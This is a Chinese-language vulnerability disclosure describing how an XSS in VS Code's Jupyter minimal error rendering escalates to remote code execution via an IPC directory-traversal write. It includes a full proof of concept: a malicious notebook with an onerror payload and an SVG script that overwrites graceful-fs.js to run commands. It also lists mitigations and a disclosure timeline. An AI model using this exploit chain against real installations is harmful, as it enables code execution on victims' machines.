突破受限模式:在 Visual Studio Code 中从跨站脚本攻击(XSS)到远程代码执行(RCE)

2024 年 4 月发现 Visual Studio Code(VS Code <= 1.89.1)的高严重漏洞,攻击者可将跨站脚本(XSS)漏洞升级为完全远程代码执行(RCE),即使在受限模式下也可。

  • 桌面版运行及相关机制:桌面版 VS Code 在 Electron 上运行,渲染进程被沙盒化并通过Electron 的 IPC 机制与主进程通信。
  • XSS 漏洞详情及触发条件:新引入的 Jupyter 笔记本最小错误渲染模式中的 XSS 漏洞,可使任意 JavaScript 代码在笔记本渲染器的vscode-appWebView 中执行。通过打开精心制作的.ipynb文件(若用户启用设置)或在 VS Code 中打开包含精心制作的settings.json文件的文件夹并在其中打开恶意 ipynb 文件可触发该漏洞,即使受限模式开启(未被用户明确信任的工作区的默认模式)也可触发。相关代码片段如下:

    function renderError(
      outputInfo: OutputItem,
      outputElement: HTMLElement,
      ctx: IRichRenderContext,
      trustHtml: boolean // false if workspace is not trusted
    ): IDisposable {
    
      //...
    
      if (err.stack) {
          const minimalError = ctx.settings.minimalError &&!!headerMessage?.length;
          outputElement.classList.add('traceback');
    
          const { formattedStack, errorLocation } = formatStackTrace(err.stack);
          //...
          if (minimalError) {
              createMinimalError(errorLocation, headerMessage, stackTraceElement, outputElement);
          } else {
              //...
          }
      } else {
          //...
      }
    
      outputElement.classList.add('error');
      return disposableStore;
    }
    export function formatStackTrace(stack: string): { formattedStack: string; errorLocation?: string } {
      let cleaned: string;
      //...
    
      if (isIpythonStackTrace(cleaned)) {
          return linkifyStack(cleaned);
      }
    }
    
    const cellRegex = /(?<prefix>Cell\s+(?:\u001b\[.+?m)?In\s*\[(?<executionCount>\d+)\],\s*)(?<lineLabel>line (?<lineNumber>\d+)).*/;
    
    function linkifyStack(stack: string): { formattedStack: string; errorLocation?: string } {
      const lines = stack.split('\n');
    
      let fileOrCell: location | undefined;
      let locationLink = '';
    
      for (const i in lines) {
    
          const original = lines[i];
          if (fileRegex.test(original)) {
              //...
          } else if (cellRegex.test(original)) {
              fileOrCell = {
                  kind: 'cell',
                  path: stripFormatting(original.replace(cellRegex, 'vscode-notebook-cell:?execution_count=$<executionCount>'))
              };
              const link = original.replace(cellRegex, `<a href=\'${fileOrCell.path}&line=$<lineNumber>\'>line $<lineNumber></a>`); // [1]
              lines[i] = original.replace(cellRegex, `$<prefix>${link}`);
              locationLink = locationLink || link; // [2]
    
              continue;
          }
          //...
      }
    
      const errorLocation = locationLink; // [3]
      return { formattedStack: lines.join('\n'), errorLocation };
    }
    function createMinimalError(errorLocation: string | undefined, headerMessage: string, stackTrace: HTMLDivElement, outputElement: HTMLElement) {
      const outputDiv = document.createElement('div');
      const headerSection = document.createElement('div');
      headerSection.classList.add('error-output-header');
    
      if (errorLocation && errorLocation.indexOf('<a') === 0) {
          headerSection.innerHTML = errorLocation; // [4]
      }
      const header = document.createElement('span');
      header.innerText = headerMessage;
      headerSection.appendChild(header);
      outputDiv.appendChild(headerSection);
    
      //...
      outputElement.appendChild(outputDiv);
    }

    [1][2]处,代码将类似Cell In [1], line 6的序列转换为链接 HTML 标签,在[3]处设置errorLocation变量,若errorLocation<a>开头则在[4]处直接赋值给headerSection.innerHTML,从而导致可执行 JavaScript 代码。

  • 升级为 RCE 的途径:XSS 漏洞导致代码在vscode-app起源下的 iframe 中执行,主工作台窗口包含vscode.ipcRenderer对象,可让渲染框架向主框架发送 IPC 消息以执行文件系统操作等。通过找到在vscode-file起源下执行代码的方法可升级为 RCE,vscode-file协议处理程序的代码位于src/vs/platform/protocol/electron-main/protocolMainService.ts.svg文件可包含 JavaScript 代码,可通过包含恶意 SVG 文件并利用其中的 DOM 元素获取存储目录来实现。在 SVG 文件中可使用top.vscode.ipcRenderer调用主进程的 IPC 处理程序,如vscode:readNlsFilevscode:writeNlsFile易受目录遍历攻击,可用于在 Windows 和 macOS 上执行代码,在 Linux 上可通过类似方式写入.bashrc等执行代码。
  • 概念验证(PoC):PoC 是包含 VS Code 工作区的恶意文件夹,打开方式为在 VS Code 中使用“打开文件夹”命令并打开其中的 README.ipynb 文件,文件结构如下:

    not_sus_repo
    ├──.vscode
    │   └── settings.json
    ├── README.ipynb
    └── icon.svg

    vscode/settings.json

    {
      "notebook.output.minimalErrorRendering": true
    }

    README.ipynb

    {
     "cells": [
    {
     "cell_type": "code",
     "execution_count": 1,
     "metadata": {},
     "outputs": [
      {
       "data": {
        "application/vnd.code.notebook.error": {
         "message": "error",
         "name": "name",
         "stack": "<a><img src onerror=\"var root=document.getElementsByTagName('base')[0].href;root=root.replace('https://file+.vscode-resource.vscode-cdn.net/','vscode-file://vscode-app/');var iframe=document.createElement('iframe');iframe.src=root+'icon.svg',iframe.style.display='none',document.body.appendChild(iframe);\">Cell \u001b[1;32mIn[1], line 6"
        }
       },
       "metadata": {},
       "output_type": "display_data"
      }
     ],
     "source": [
      "def make_big_err(i):\n",
      "    if i <= 0:\n",
      "        raise Exception()\n",
      "    make_big_err(i-1)\n",
      "\n",
      "make_big_err(10)"
     ]
    }
     ]
    }

    icon.svg

    <svg height="100" width="100" xmlns="http://www.w3.org/2000/svg">
      <circle r="45" cx="50" cy="50" fill="red" />
      <script>
        async function exp() {
          const pathSep = top.vscode.process.platform === 'win32'? '\\' : '/';
          const a = top.vscode.context.configuration().userDataDir;
          let b = top.vscode.context.configuration().appRoot;
          let payload = top.vscode.process.platform === 'win32'? 'start calc.exe' : 'open -a Calculator.app';
    
          if (b[1] === ':') {
            b = b.slice(2);
          }
    
          const subPath = `clp${pathSep}${('..' + pathSep).repeat(15)}${b}${pathSep}out${pathSep}node_modules${pathSep}graceful-fs.js`;
          await top.vscode.ipcRenderer.invoke('vscode:writeNlsFile', `${a}${pathSep}${subPath}`, `require("child_process").exec("${payload}");`);
          top.vscode.ipcRenderer.send('vscode:reloadWindow');
        }
    
        exp();
      </script>
    </svg>
  • 建议的缓解措施

    • createMinimalError中,确保errorLocation仅由具有指定 URI 格式的<a>标签组成后再赋值给headerSection.innerHTML
    • 在笔记本渲染器 WebView 中使用内容安全策略,以确保在受限模式下仅运行受信任的脚本。
  • 时间线

    • 2024-07-03 供应商披露
    • 2024-07-03 初始供应商联系
    • 2024-07-10 与供应商共享另外两个 PoC
    • 2024-08-02 供应商回复“此案例被评估为低严重级别,由于无需大量用户交互(即接受保存到攻击者控制位置的提示)即可执行 RCE 不再可能,因此不符合 MSRC 的立即服务标准。”
    • 2025-05-14 公开披露
阅读 61
0 条评论